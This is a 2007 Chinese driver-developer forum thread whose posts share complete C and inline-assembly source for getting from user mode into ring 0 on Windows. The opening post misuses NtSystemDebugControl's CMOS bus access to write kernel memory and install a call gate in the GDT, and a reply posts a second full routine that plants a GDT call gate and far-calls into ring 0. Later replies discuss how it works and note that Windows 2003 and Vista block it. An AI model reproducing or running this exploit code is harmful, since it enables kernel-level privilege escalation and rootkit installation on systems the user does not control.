zjjmj2002
驱动小牛
驱动小牛
  • 注册日期2007-04-05
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分15分
  • 威望321点
  • 贡献值0点
  • 好评度224点
  • 原创分1分
  • 专家分0分
阅读:3783回复:5

利用NtSystemDebugControl进入Ring0的源代码如下

楼主#
更多 发布于:2007-07-01 14:11
Sorry,2004年的东东现在才发,呵呵!
/*

* Discovered and coded by randnut Jan 25, 2004

* I just add my callgate routine, hope you enjoy it, hehe.  ------zjjmj2002

*/

#include <windows.h>

#include <stdio.h>

typedef int NTSTATUS;

typedef DWORD ULONG_PTR;

#define NTAPI __stdcall

const IA32_SYSENTER_CS = 0x174;

const IA32_SYSENTER_ESP = 0x175;

const IA32_SYSENTER_EIP = 0x176;

const SelCodeKernel = 0x8;

const CmosIndx = 0x0E;        // CMOS Diagnostic Status

const RdWrIoPort = 0x80;

#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}

#define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}

typedef enum _DEBUG_CONTROL_CODE {

DebugSysReadIoSpace = 14,

DebugSysWriteIoSpace = 15,

DebugSysReadMsr = 16,

DebugSysWriteMsr = 17,

DebugSysReadBusData = 18,

DebugSysWriteBusData = 19,

} DEBUG_CONTROL_CODE;


typedef enum _BUS_DATA_TYPE {

ConfigurationSpaceUndefined = -1,

Cmos,

EisaConfiguration,

Pos,

CbusConfiguration,

PCIConfiguration,

VMEConfiguration,

NuBusConfiguration,

PCMCIAConfiguration,

MPIConfiguration,

MPSAConfiguration,

PNPISAConfiguration,

SgiInternalConfiguration,

MaximumBusDataType

} BUS_DATA_TYPE, *PBUS_DATA_TYPE;

// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of

struct MyCallGate
{

WORD      OFFSETL;

WORD      SELECTOR;

BYTE      DCOUNT;

BYTE      GTYPE;

WORD      OFFSETH;

DWORD      CodeLimit;

DWORD      CodeBase;

};


typedef struct _BUS_STRUCT {

ULONG  Offset;

PVOID  Buffer;

ULONG  Length;

BUS_DATA_TYPE  BusDataType;

ULONG  BusNumber;

ULONG  SlotNumber;

} BUS_STRUCT;

typedef

NTSTATUS

(NTAPI *PZwSystemDebugControl)(

DEBUG_CONTROL_CODE ControlCode,

PVOID InputBuffer,

ULONG InputBufferLength,

PVOID OutputBuffer,

ULONG OutputBufferLength,

PULONG ReturnLength

);

PZwSystemDebugControl ZwSystemDebugControl = NULL;


int CmosRead(int offs, BYTE** ppAddr = NULL)

{

BYTE buf;

BUS_STRUCT bus;

bus.BusDataType = Cmos;

bus.BusNumber = 0;

bus.SlotNumber = offs;

bus.Buffer = ppAddr ? *ppAddr : &buf;

bus.Offset = 0;

bus.Length = 1;

if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,

NULL) < 0)

return -1;

else

return ppAddr ? 0x100 : buf;

}


int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)

{

BUS_STRUCT bus;

bus.BusDataType = Cmos;

bus.BusNumber = 0;

bus.SlotNumber = offs;

bus.Buffer = ppAddr == NULL ? &val : *ppAddr;

bus.Offset = 0;

bus.Length = 1;

return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,

0, NULL) >= 0;

}


int WriteMem(DWORD MemAddr, BYTE Value)

{
int OldVal = CmosRead(CmosIndx);
BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
CmosWrite(CmosIndx, Value);
CmosRead(CmosIndx, &p);
CmosWrite(CmosIndx, OldVal);

return 1;
}

int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)

{

TOKEN_PRIVILEGES tok;

tok.PrivilegeCount = 1;

tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;

FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));

FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));

return 1;

}

void CallGate()
{    

MyCallGate    CallGate;
DWORD        GDTBase;    
    _asm
    {            
        PUSH EDX
        SGDT FWORD PTR SS:[ESP-2]
        POP EDX
        MOV GDTBase,EDX
        MOV CallGate.OFFSETL,DX
        SHR EDX,16
        MOV CallGate.OFFSETH,DX
    }    
    
    CallGate.SELECTOR = 0x358;
    CallGate.DCOUNT = 0;
    CallGate.GTYPE = 0xec;
    CallGate.CodeLimit = 0xffff;
    CallGate.CodeBase = 0xcf9a00;    //Build My CallGate
    
    WriteMem(GDTBase, 0xc3);
    
    GDTBase = GDTBase+0x350;
    for ( int i=0 ; i<=15 ; i++ )
    {
        BYTE p;
        DWORD *q;
        
        _asm
        {
            LEA ESI,CallGate
            ADD ESI,i
            XOR EAX,EAX
            LODSB
            MOV p,AL    
        }    
        
        
        WriteMem(GDTBase+i, p);
    }
}  

int main(int argc, char* argv[])
{
    HMODULE hNtdll;
    FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
    FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,
"ZwSystemDebugControl")) != NULL);

    HANDLE hToken;
    FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken));
    FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));
        
    CallGate();
    return 0;    
}

最新喜欢:

haifengjlhaifen...
Lenus
驱动牛犊
驱动牛犊
  • 注册日期2005-03-09
  • 最后登录2008-12-01
  • 粉丝0
  • 关注0
  • 积分50分
  • 威望5点
  • 贡献值0点
  • 好评度5点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2007-07-01 22:13
呵呵...刚刚路过

我也把自己的代码贴上来吧,利用GDT进入RING0

BOOL CallRing0_NtSystemDebugControl_GDT(PVOID pvRing0FuncAddr, PVOID pParam)
{  
    PLDT_DESCRIPTOR pLDTDescriptor;
    GDTR gdtr;
    WORD CallgateAddr[3];
    WORD wGDTIndex = 1;
    ULONG nRetLength;
    PBYTE GDT_buff=NULL;
    BOOL  bRet = FALSE;    
    
    __try
    {
        // Initial the NtSystemDebugControl function
        if( ! InitialNtSystemDebugControl() ) __leave;
        
        // Get the gdt
        _asm Sgdt [gdtr];
        GDT_buff = (PBYTE) malloc(gdtr.wGDTLimit);
        if( GDT_buff == NULL ) __leave;
        nRetLength = ReadPhysicalMEM(
            gdtr.dwGDTBase,
            GDT_buff,
            gdtr.wGDTLimit);
        if( nRetLength != gdtr.wGDTLimit ) __leave;
        
        // Skip the null descriptor
        pLDTDescriptor = (PLDT_DESCRIPTOR)(GDT_buff + 8);
        
        // Search for a free GDT descriptor
        for (wGDTIndex = 1; wGDTIndex < (gdtr.wGDTLimit / 8); wGDTIndex++)
        {
            if (pLDTDescriptor->Type == 0     &&
                pLDTDescriptor->System == 0   &&
                pLDTDescriptor->DPL == 0      &&
                pLDTDescriptor->Present == 0)
            {
                // Found one !
                // Now we need to transform this descriptor into a callgate.
                // Note that we're using selector 0x28 since it corresponds
                // to a ring 0 segment which spans the entire linear address
                // space of the processor (0-4GB).
                PCALLGATE_DESCRIPTOR pCallgate;
                pCallgate = (PCALLGATE_DESCRIPTOR) pLDTDescriptor;
                pCallgate->Offset_0_15 = LOWORD(pvRing0FuncAddr);
                pCallgate->Selector = 0x08;
                pCallgate->ParamCount = 0;
                pCallgate->Unused = 0;
                pCallgate->Type = 0xc;
                pCallgate->System = 0;
                pCallgate->DPL = 3;
                pCallgate->Present = 1;
                pCallgate->Offset_16_31 = HIWORD(pvRing0FuncAddr);
                
                // Flush the gdt
                nRetLength = WritePhysicalMEM(
                    gdtr.dwGDTBase,
                    GDT_buff,
                    gdtr.wGDTLimit);
                if( nRetLength != gdtr.wGDTLimit ) __leave;



                // Prepare the far call parameters
                CallgateAddr[0] = 0x0;
                CallgateAddr[1] = 0x0;
                CallgateAddr[2] = (wGDTIndex << 3) | 3;

                // Please fasten your seat belts!
                // We're about to make a hyperspace jump into RING 0.
                _asm push pParam;
                _asm Call FWORD PTR [CallgateAddr];

                // We have made it !
                // Now free the GDT descriptor
                memset(pLDTDescriptor, 0, 8);
                nRetLength = WritePhysicalMEM(
                    gdtr.dwGDTBase,
                    GDT_buff,
                    gdtr.wGDTLimit);
                if( nRetLength != gdtr.wGDTLimit ) __leave;

                // Our journey was successful. Seeya.
                bRet = TRUE;
                __leave;
            }
            // Advance to the next GDT descriptor
            pLDTDescriptor++;
        }
  }
  __finally
  {
      FreeNtSystemDebugControl();

      if( GDT_buff )
          free(GDT_buff);
      return bRet;
  }
}
zzq191
驱动中牛
驱动中牛
  • 注册日期2001-08-09
  • 最后登录2018-05-29
  • 粉丝17
  • 关注0
  • 积分1041分
  • 威望716点
  • 贡献值0点
  • 好评度318点
  • 原创分0分
  • 专家分0分
  • 社区居民
板凳#
发布于:2007-07-02 19:44
                // Prepare the far call parameters
                CallgateAddr[0] = 0x0;
                CallgateAddr[1] = 0x0;
                CallgateAddr[2] = (wGDTIndex << 3) | 3;

                // Please fasten your seat belts!
                // We're about to make a hyperspace jump into RING 0.
                _asm push pParam;
                _asm Call FWORD PTR [CallgateAddr];

1.为什么要push pParam
2.call 后进入ring0, 怎么退出到ring3呢
QQ:416331891,承接windows下应用和驱动的开发,雅虎通:zzq191, Email:zzq191@21cn.com
WQXNETQIQI
驱动大牛
驱动大牛
  • 注册日期2006-06-12
  • 最后登录2010-10-26
  • 粉丝0
  • 关注0
  • 积分13分
  • 威望1076点
  • 贡献值0点
  • 好评度895点
  • 原创分1分
  • 专家分0分
地板#
发布于:2007-07-02 23:03
呵呵,改GDT早就不是什么秘密了,关键是WritePhysicalMEM
驱动开发者 呵呵
jolee1124
驱动牛犊
驱动牛犊
  • 注册日期2007-11-21
  • 最后登录2007-11-25
  • 粉丝0
  • 关注0
  • 积分30分
  • 威望4点
  • 贡献值0点
  • 好评度3点
  • 原创分0分
  • 专家分0分
地下室#
发布于:2007-11-25 13:53
好东西,已经收藏,
有一疑问,
DebugSysReadMsr = 16,
DebugSysWriteMsr = 17,
这两个command只能在XP上ok,
2k3和vista好象不行啊。
请高人指教
WQXNETQIQI
驱动大牛
驱动大牛
  • 注册日期2006-06-12
  • 最后登录2010-10-26
  • 粉丝0
  • 关注0
  • 积分13分
  • 威望1076点
  • 贡献值0点
  • 好评度895点
  • 原创分1分
  • 专家分0分
5楼#
发布于:2007-11-25 14:10
2k3和vista已屏蔽,进R0,想别的招吧 呵呵
驱动开发者 呵呵
游客

返回顶部